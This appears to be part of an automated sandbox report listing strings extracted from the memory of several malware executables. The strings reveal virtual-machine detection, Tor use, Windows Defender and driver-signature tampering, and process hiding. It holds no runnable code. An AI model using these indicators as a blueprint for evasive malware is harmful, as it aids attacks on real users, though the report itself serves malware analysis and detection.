Source: CGZL5y3D81OCbb2NABnHZhPM.exe, 0000000C.00000002.2361261570.00000000004FF000.00000004.00000020.00020000.00000000.sdmp, kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000002.2700588489.000000000073D000.00000004.00000020.00020000.00000000.sdmp, kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000002.2700588489.0000000000765000.00000004.00000020.00020000.00000000.sdmp, kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000003.2700108075.000000000073D000.00000004.00000020.00020000.00000000.sdmp, kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000003.2700108075.0000000000765000.00000004.00000020.00020000.00000000.sdmp, syncUpd.exe, 0000000F.00000002.2758288970.00000000009AE000.00000004.00000020.00020000.00000000.sdmp, syncUpd.exe, 0000000F.00000002.2758288970.00000000009C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: ersexpiresfloat32float64forcegcgctracehead = http://invalidlog.txtlookup messageminpc= nil keynop -> number pacer: panic: readdirrefererrefreshrequestrunningserial:server=signal svc_versyscalltor.exetraileruintptrunknownupgradeversionvmmousevpcuhubwaitingwindo
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: too many linkstoo many userstorrc filenameunexpected EOFunknown code: unknown error unknown methodunknown mode: unreachable: unsafe.PointeruserArenaStatevirtualbox: %wvmwaretray.exevmwareuser.exewii libnup/1.0winapi error #window createdwork.full != 0xenservice.exezero parameter with GC prog
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: popcntrdtscpreadatreasonremoverenamereturnrun-v3rune1 secondselectsendtoserversocketsocks socks5statusstringstructsweep sysmontelnettimersuint16uint32uint64unuseduptimevmhgfsvmxnetvpc-s3wup_hsxennetxensvcxenvdb %v=%v, (conn) (scan (scan) MB in Value> allocs
Source: LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3195890952.00000000010DF000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: 11VBoxSFWINDIRWD
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: pclmulqdqpreemptedprintableprofBlockprotocol proxy.exepsapi.dllquestionsreboot inrecover: reflect: rwxrwxrwxscavtracestackpoolsucceededtask %+v tracebackunderflowunhandleduninstallunzip Torunzip: %wurn:uuid:w3m/0.5.1wbufSpanswebsocketxenevtchn} stack=[ netGo
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: sse41sse42ssse3sudogsweeptext/tls: torrctotaltraceuint8unameusageuser=utf-8valuevmusbvmx86write B -> Value addr= alloc base code= ctxt: curg= free goid jobs= list= m->p= max= min= next= p->m= prev= span=% util%s.exe%s.sys%s: %s(...) , i = , not , val -BE
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: LycianLydianMondayPADDEDPcaSvcPragmaRejangSCHED STREETServerStringSundaySyriacTai_LeTangutTeluguThaanaTypeMXTypeNSUTC+12UTC+13UTC-02UTC-08UTC-09UTC-11VBoxSFWINDIRWanchoWinMonWinmonX25519Yezidi[]byte\??\%s\csrss\ufffd acceptactivechan<-closedcookiedirectdo
Source: LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3195890952.00000000010DF000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: aryvmcixn-SR-%W
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: tracebackunderflowunhandleduninstallunzip Torunzip: %wurn:uuid:w3m/0.5.1wbufSpanswebsocketxenevtchn} stack=[ netGo = MB goal, flushGen for type gfreecnt= heapGoal= pages at ptrSize= runqsize= runqueue= s.base()= spinning= stopwait= stream=%d sweepgen sweepgen= targetpc= throwing= until pc=%!(NOVERB)%!Weekday(%s.uuid.%s%s\|%s%s\|%s(BADINDEX), bound = , limit = -noprofile-uninstall.localhost/dev/stdin/etc/hosts/show-eula12207031256103515625: parsing :authorityAdditionalBad varintCampaignIDCancelIoExChorasmianClassCHAOSClassCSNETConnectionContent-IdCreateFileCreatePipeDSA-SHA256DeprecatedDevanagariDnsQuery_WECDSA-SHA1END_STREAMERROR-CODEException GC forced
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.00000000030F3000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: main.isRunningInsideVMWare
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: 4cas5cas6chandatedeaddialdoneermsetagethmfailfileflagfromftpsfuncgziphosthourhttpicmpidleigmpint8itabjsonkindlinkmdnsnullopenpathpipepop3quitreadrootsbrkseeksid=sizesmtpsse3tag:tcp4texttruetypeudp4uintunixuuidvaryvmcixn-- -%s (at ... MB, \" and got= max
Source: syncUpd.exe, 0000000F.00000002.2758288970.0000000000958000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: rSetEndOfFileSetErrorModeSetStdHandleSora_SompengSyloti_NagriSysStringLenThread32NextTor mode setTransmitFileUnauthorizedUnlockFileExVBoxTray.exeVariantClearVirtualAllocVirtualQueryWinmon32.sysWinmon64.sysWintrust.dllX-ImforwardsX-Powered-By[[:^ascii:]]\/(\d+)
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: , i = , not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.local.onion/%d-%s370000390625:31461<-chanAcceptAnswerArabicAugustBUTTONBasic BitBltBrahmiCANCELCONIN$CancelCarianChakmaCommonCookieCopticExpectFltMgrFormatFridayGOAWAYGetACPGothicHangulHatranHebrewHyphenKaithiKhojkiLengthLepchaLockedLycianLydianMondayPADDEDPcaSvcPragmaRejangSCHED STREETServerStringSundaySyriacTai_LeTangutTeluguThaanaTypeMXTypeNSUTC+12UTC+13UTC-02UTC-08UTC-09UTC-11VBoxSFWINDIRWanchoWinMonWinmonX25519Yezidi[]byte\??\%s\csrss\ufffd
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: and got= max= ms, ptr tab= top=%s %q%s %s%s%d%s/%s%s:%d%s=%s"'&+0330+0430+0530+0545+0630+0845+1030+1245+1345, fp:-0930.avif.html.jpeg.json.wasm.webp1.4.2156253.2.250001500025000350004500055000650512560015600278125:**@:path<nil>AdlamAprilBamumBatakBuhidCall ClassCountDograECDSAErrorFlagsFoundGetDCGreekHTTP/KhmerLatinLimbuLocalLstatMarchNONCENushuOghamOriyaOsageP-224P-256P-384P-521PGDSEREALMRangeRealmRunicSHA-1STermTakriTamilTypeAUSTARUUID=\u202] = (allowarrayatimebad nchdirchmodclosecsrssctimedeferfalsefaultfilesfloatgcinggeoipgnamegscanhchanhostshttpsimap2imap3imapsinit int16int32int64matchmheapmkdirmonthmtimentohspanicparsepgdsepop3sproxyrangermdirrouterune scav schedsdsetsleepslicesockssse41sse42ssse3sudogsweeptext/tls: torrctotaltraceuint8unameusageuser=utf-8valuevmusbvmx86write B -> Value addr= alloc base code= ctxt: curg= free goid jobs= list= m->p= max= min= next= p->m= prev= span=% util%s.exe%s.sys%s: %s(...)
Source: LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3195890952.00000000010DF000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: tVMSrvcs\|!
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: 3-512SOFTWARESaturdaySetEventSystem32TagbanwaTai_ThamTai_VietThursdayTifinaghTypeAAAATypeAXFRUSERHASHUSERNAMEUgariticVBoxWddmWSAIoctlWinmonFSWmiPrvSE[::1]:53[:word:][signal \\.\HGFS\\.\vmcistack=[_NewEnum_gatewayacceptexaddress bad instcgocheckcontinuecs
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000400000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.0000000002DA0000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000002DC0000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000400000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: 100-continue127.0.0.1:%d127.0.0.1:53152587890625762939453125AUTHENTICATEBidi_ControlCIDR addressCONTINUATIONCfgMgr32.dllCoCreateGuidCoInitializeContent TypeContent-TypeCookie.ValueCreateEventWCreateMutexWDeleteObjectECDSA-SHA256ECDSA-SHA384ECDSA-SHA512ErrUnknownPCFindNextFileGetAddrInfoWGetConsoleCPGetLastErrorGetLengthSidGetProcessIdGetStdHandleGetTempPathWGetUserGeoIDGlobalUnlockGlobal\csrssI'm a teapotInstAltMatchJoin_ControlLittleEndianLoadLibraryWLoadResourceLockResourceMax-ForwardsMeetei_MayekMime-VersionMulti-StatusNot ExtendedNot ModifiedNtCreateFileOpenServiceWPUSH_PROMISEPahawh_HmongRCodeRefusedRCodeSuccessReadConsoleWReleaseMutexReportEventWResumeThreadRevertToSelfRoInitializeS-1-5-32-544SERIALNUMBERSelectObjectServer ErrorSetEndOfFileSetErrorModeSetStdHandleSora_SompengSyloti_NagriSysStringLenThread32NextTor mode setTransmitFileUnauthorizedUnlockFileExVBoxTray.exeVariantClearVirtualAllocVirtualQueryWinmon32.sysWinmon64.sysWintrust.dllX-ImforwardsX-Powered-By[[:^ascii:]]\/(\d+)-(.*)\\.\WinMonFSabi mismatchadvapi32.dllaltmatch -> anynotnl -> bad flushGenbad g statusbad g0 stackbad recoverybad value %dbootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOcountry_codedse disableddumping heapend tracegc
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: RTP.exeSYSTEMROOT=SetFileTimeSignWritingSoft_DottedSystemDriveTTL expiredUninstallerVBoxServiceVMUSrvc.exeVariantInitVirtualFreeVirtualLockWSARecvFromWarang_CitiWhite_SpaceWinDefender[:^xdigit:]\dsefix.exeadditionalsalarm clockapplicationassistQueueauthoritiesbad addressbad argSizebad m valuebad messagebad timedivbitcoins.skbroken pipecampaign_idcgocall nilclobberfreeclosesocketcombase.dllcreated by crypt32.dlle2.keff.orgembedded/%sexternal IPfile existsfinal tokenfloat32nan2float64nan1float64nan2float64nan3gccheckmarkgeneralizedget CDN: %wgetpeernamegetsocknameglobalAllochttp2clienthttp2serverhttps_proxyi/o timeoutlocal errormSpanManualmethodargs(minTrigger=move %s: %wmswsock.dllnetpollInitnext servernil contextopera-proxyorannis.comout of syncparse errorprocess: %sreflect.SetreflectOffsretry-afterruntime: P runtime: g runtime: p scheddetailsechost.dllsecur32.dllservice: %sshell32.dllshort writestack tracestart proxytaskmgr.exetls: alert(tracealloc(traffic updunreachableuserenv.dllversion.dllversion=195wininet.dllwup_process (sensitive) B (
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: ermsetagethmfailfileflagfromftpsfuncgziphosthourhttpicmpidleigmpint8itabjsonkindlinkmdnsnullopenpathpipepop3quitreadrootsbrkseeksid=sizesmtpsse3tag:tcp4texttruetypeudp4uintunixuuidvaryvmcixn-- -%s (at ... MB, \" and got= max= ms, ptr tab= top=%s %q%s
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: yreleasep: m=remote errorremoving appruntime: gp=runtime: sp=s ap traffics hs trafficself-preemptsetupapi.dllshort bufferspanSetSpinesweepWaiterstraceStringstraffic/readtransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdo
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: sse3tag:tcp4texttruetypeudp4uintunixuuidvaryvmcixn-- -%s (at ... MB, \" and got= max= ms, ptr tab= top=%s %q%s %s%s*%d%s/%s%s:%d%s=%s"'&+0330+0430+0530+0545+0630+0845+1030+1245+1345, fp:-0930.avif.html.jpeg.json.wasm.webp1.4.2156253.2.2500
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: GetActiveObjectGetAdaptersInfoGetCommTimeoutsGetCommandLineWGetFirmwareTypeGetProcessTimesGetSecurityInfoGetStartupInfoWGlobal\qtxp9g8wHanifi_RohingyaICE-CONTROLLINGIdempotency-KeyImpersonateSelfInstall failureIsWindowUnicodeIsWindowVisibleIsWow64Process2Length RequiredLoadLibraryExALoadLibraryExWNot ImplementedNtSuspendThreadOpenThreadTokenOther_LowercaseOther_UppercasePKCS1WithSHA256PKCS1WithSHA384PKCS1WithSHA512Partial ContentPostQuitMessageProcess32FirstWPsalter_PahlaviQueryDosDeviceWRegCreateKeyExWRegDeleteValueWRequest TimeoutRtlDefaultNpAclSafeArrayCreateSafeArrayGetDimSafeArrayGetIIDSafeArrayUnlockScheduledUpdateSetCommTimeoutsSetSecurityInfoSetVolumeLabelWShellExecuteExWStringFromCLSIDStringFromGUID2TerminateThreadUnescaped quoteUninstallStringUnmapViewOfFileVBoxService.exeVPS.hsmiths.comWinsta0\DefaultX-Forwarded-For\\.\VBoxTrayIPC]
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000400000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.0000000002DA0000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000002DC0000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000400000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: SafeArrayCopyDataSafeArrayCreateExSentence_TerminalSysAllocStringLenSystemFunction036Too Many RequestsTransfer-EncodingUnexpected escapeUnified_IdeographUnknown AttributeVGAuthService.exeWSAEnumProtocolsWWTSQueryUserTokenWrite after CloseWrong CredentialsX-Idempotency-Key\System32\drivers\\.\VBoxMiniRdrDN
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: RTP.exeSYSTEMROOT=SetFileTimeSignWritingSoft_DottedSystemDriveTTL expiredUninstallerVBoxServiceVMUSrvc.exeVariantInitVirtualFreeVirtualLockWSARecvFromWarang_CitiWhite_SpaceWinDefender[:^xdigit:]\dsefix.exeadditionalsalarm clockapplicationassistQueueauthorities
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: vmusbmousevmware: %wws2_32.dll of size (targetpc= , plugin: ErrCode=%v KiB work, bytes ... exp.) for freeindex= gcwaiting= idleprocs= in status mallocing= ms clock, nBSSRoots= p->status= s.nelems= schedtick= span.list= timerslen=$WINDIR\rss%!(BADPREC
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000400000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.0000000002DA0000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000002DC0000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000400000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: ><'\'') = ) m=+Inf-Inf.bat.cmd.com.css.exe.gif.htm.jpg.mjs.pdf.png.svg.sys.xml0x%x1.1110803125: p=ACDTACSTAEDTAESTAKDTAKSTAWSTAhomAtoiCDN=CESTChamDATADashDataDateEESTEULAEtagFromGOGCGoneHostJulyJuneLEAFLisuMiaoModiNZDTNZSTNameNewaPINGPOSTPathQEMUROOTSASTSTARSendStatTempThaiTypeUUID"%s"\rss\smb\u00
Source: syncUpd.exe, 0000000F.00000002.2758288970.0000000000958000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarez
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3256124578.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3228027262.000000000100E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlle
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: sse42ssse3sudogsweeptext/tls: torrctotaltraceuint8unameusageuser=utf-8valuevmusbvmx86write B -> Value addr= alloc base code= ctxt: curg= free goid jobs= list= m->p= max= min= next= p->m= prev= span=% util%s.exe%s.sys%s: %s(...) , i = , not , val -BEFV--D
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: eUnprocessable EntityWinmonProcessMonitor\\.\pipe\VBoxTrayIPC^.*\._Ctype_uint8_t$asn1: syntax error: assigned stream ID 0bad font file formatbad system page sizebad use of bucket.bpbad use of bucket.mpcertificate requiredchan send (nil chan)close of nil channe
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: rdtscpreadatreasonremoverenamereturnrun-v3rune1 secondselectsendtoserversocketsocks socks5statusstringstructsweep sysmontelnettimersuint16uint32uint64unuseduptimevmhgfsvmxnetvpc-s3wup_hsxennetxensvcxenvdb %v=%v, (conn) (scan (scan) MB in Value> allocs dying=
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: potency-Key\System32\drivers\\.\VBoxMiniRdrDN os/exec.Command(^.*\._Ctype_char$bad TinySizeClasscouldn't dial: %wcouldn't find pidcouldn't get UUIDcouldn't get pidscouldn't hide PIDcpu name is emptycreate window: %wdecode server: %wdecryption faileddownload fi
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: releasep: m=remote errorremoving appruntime: gp=runtime: sp=s ap traffics hs trafficself-preemptsetupapi.dllshort bufferspanSetSpinesweepWaiterstraceStringstraffic/readtransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog
Source: AddInProcess32.exe, 00000005.00000002.4471946654.0000000001210000.00000004.00000020.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3179241086.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3275239614.0000000001202000.00000040.00000020.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3187282898.0000000001170000.00000040.00000020.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3269213397.0000000001022000.00000040.00000020.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3245748971.000000000110C000.00000040.00000020.00020000.00000000.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3195890952.00000000010DF000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: \\.\HGFS`
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: lUnlockWINDOW_UPDATEWTSFreeMemoryWriteConsoleW[FrameHeader \\.\VBoxGuestaccept-rangesaccess deniedadvapi32.dll
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: MathPOSTALCODEParseAddr(ParseFloatPhoenicianProcessingPulseEventRIPEMD-160RST_STREAMResetEventSHA256-RSASHA384-RSASHA512-RSASYSTEMROOTSaurashtraSecureBootSet-CookieShowWindowTor uptimeUser-AgentVMSrvc.exeWSACleanupWSASocketWWSAStartupWget/1.9.1Windows 10Window
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: PalmyreneParseUintPatchTimePublisherReleaseDCRemoveAllSTUN addrSamaritanSee OtherSeptemberSundaneseSysnativeToo EarlyTrailer: TypeCNAMETypeHINFOTypeMINFOUse ProxyVBoxGuestVBoxMouseVBoxVideoWSASendToWednesdayWindows 7WriteFileZ07:00:00[%v = %d][:^word:][:alnum:
Source: LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3195890952.00000000010DF000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: vmhgfsP
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: Not ImplementedNtSuspendThreadOpenThreadTokenOther_LowercaseOther_UppercasePKCS1WithSHA256PKCS1WithSHA384PKCS1WithSHA512Partial ContentPostQuitMessageProcess32FirstWPsalter_PahlaviQueryDosDeviceWRegCreateKeyExWRegDeleteValueWRequest TimeoutRtlDefaultNpAclSafeArrayCreateSafeArrayGetDimSafeArrayGetIIDSafeArrayUnlockScheduledUpdateSetCommTimeoutsSetSecurityInfoSetVolumeLabelWShellExecuteExWStringFromCLSIDStringFromGUID2TerminateThreadUnescaped quoteUninstallStringUnmapViewOfFileVBoxService.exeVPS.hsmiths.comWinsta0\DefaultX-Forwarded-For\\.\VBoxTrayIPC]
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3241666787.0000000000D7E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllr
Source: CGZL5y3D81OCbb2NABnHZhPM.exe, 0000000C.00000002.2361261570.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW_Q%SystemRoot%\system32\mswsock.dlll
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: VirtualUnlockWINDOW_UPDATEWTSFreeMemoryWriteConsoleW[FrameHeader \\.\VBoxGuestaccept-rangesaccess deniedadvapi32.dllauthorizationbad flushGen bad map statebtc.cihar.combtc.xskyx.netcache-controlcontent-rangecouldn't polldalTLDpSugct?data is emptydouble unlockemail addressempty integerexchange fullfatal error: gethostbynamegetservbynamegzip, deflateif-none-matchignoring fileimage/svg+xmlinvalid ASN.1invalid UTF-8invalid base kernel32.dllkey expansionlame referrallast-modifiedlevel 3 resetload64 failedmaster secretmin too largename is emptynil stackbasenot a Float32open file: %wout of memoryparallels: %wparsing time powrprof.dllprl_tools.exeprofMemActiveprofMemFutureread EULA: %wrebooting nowruntime: seq=runtime: val=service stateset event: %wsigner is nilsocks connectsrmount errortimer expiredtraceStackTabtrailing dataunimplementedunsupported: user canceledvalue method virtualpc: %wxadd64 failedxchg64 failed}
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: unixpacketunknown pcuser-agentuser32.dllvmusbmousevmware: %wws2_32.dll of size (targetpc= , plugin: ErrCode=%v KiB work, bytes ...
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: bmi1bmi2boolcallcap cas1cas2cas3cas4cas5cas6chandatedeaddialdoneermsetagethmfailfileflagfromftpsfuncgziphosthourhttpicmpidleigmpint8itabjsonkindlinkmdnsnullopenpathpipepop3quitreadrootsbrkseeksid=sizesmtpsse3tag:tcp4texttruetypeudp4uintunixuuidvaryvmcixn-- -%
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: ssse3sudogsweeptext/tls: torrctotaltraceuint8unameusageuser=utf-8valuevmusbvmx86write B -> Value addr= alloc base code= ctxt: curg= free goid jobs= list= m->p= max= min= next= p->m= prev= span=% util%s.exe%s.sys%s: %s(...) , i = , not , val -BEFV--DYOR--
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: ultX-Forwarded-For\\.\VBoxTrayIPC] morebuf={pc:accept-encodingaccept-languageadvertise erroragent is closedapplication/pdfasyncpreemptoffbad certificatebad trailer keybefore EfiGuardclass registredclient finishedcouldn't set AVcouldn't set sbdecode hash: %wdo
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: VersionVirtualWSARecvWSASend"%s" %stypes value=abortedalt -> answersany -> booleancharsetchunkedcmd.execonnectconsolecpu: %scpuprofderiveddriversexpiresfloat32float64forcegcgctracehead = http://invalidlog.txtlookup messageminpc= nil keynop -> number pacer: panic: readdirrefererrefreshrequestrunningserial:server=signal svc_versyscalltor.exetraileruintptrunknownupgradeversionvmmousevpcuhubwaitingwindowswsarecvwsasendwup_verxen: %wxennet6 bytes, data=%q etypes incr=%v is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= ping=%q pointer stack=[ status %!Month(%02d%02d%s %s:%d%s: 0x%x-cleanup2.5.4.102.5.4.112.5.4.1748828125?4#?'1#0AcceptExAcceptedAllocateAltitudeArmenianBAD RANKBalineseBopomofoBugineseCancelIoCherokeeClassANYConflictContinueCurveID(CyrillicDNS nameDSA-SHA1DecemberDefenderDeleteDCDuployanEULA.txtEqualSidEthiopicExtenderFebruaryFirewallFullPathGeorgianGetOEMCPGoStringGujaratiGurmukhiHTTP/1.1HTTP/2.0HiraganaInstFailInstRuneIsWindowJavaneseKatakanaKayah_LiLIFETIMELinear_ALinear_BLocationLsaCloseMD5+SHA1MahajaniNO_ERRORNO_PROXYNovemberOl_ChikiPRIORITYPROGRESSParseIntPersoconPhags_PaQuestionReadFileReceivedSETTINGSSHA1-RSASHA3-224SHA3-256SHA3-384SHA3-512SOFTWARESaturdaySetEventSystem32TagbanwaTai_ThamTai_VietThursdayTifinaghTypeAAAATypeAXFRUSERHASHUSERNAMEUgariticVBoxWddmWSAIoctlWinmonFSWmiPrvSE[::1]:53[:word:][signal \\.\HGFS\\.\vmcistack=[_NewEnum_gatewayacceptexaddress bad instcgocheckcontinuecs deadlockdefault:dial: %wdnsquerydurationeax ebp ebx ecx edi edx eflags eip embeddedesi esp execwaitexporterf is nilfinishedfs gs hijackedhttp/1.1https://if-matchif-rangeinfinityinjectorinvalid linkpathlocationmac_addrmountvolmsvmmoufno anodeno-cacheno_proxypollDescreadfromrecvfromreflect.runnableruntime.rwmutexRrwmutexWscavengeshutdownstrconv.taskkilltor_modetraceBuftrigger=unixgramunknown(usernamevmmemctlvmx_svgawalk: %wwsaioctlwuauservx509sha1yuio.top (forced) B exp.) B work ( blocked= in use)
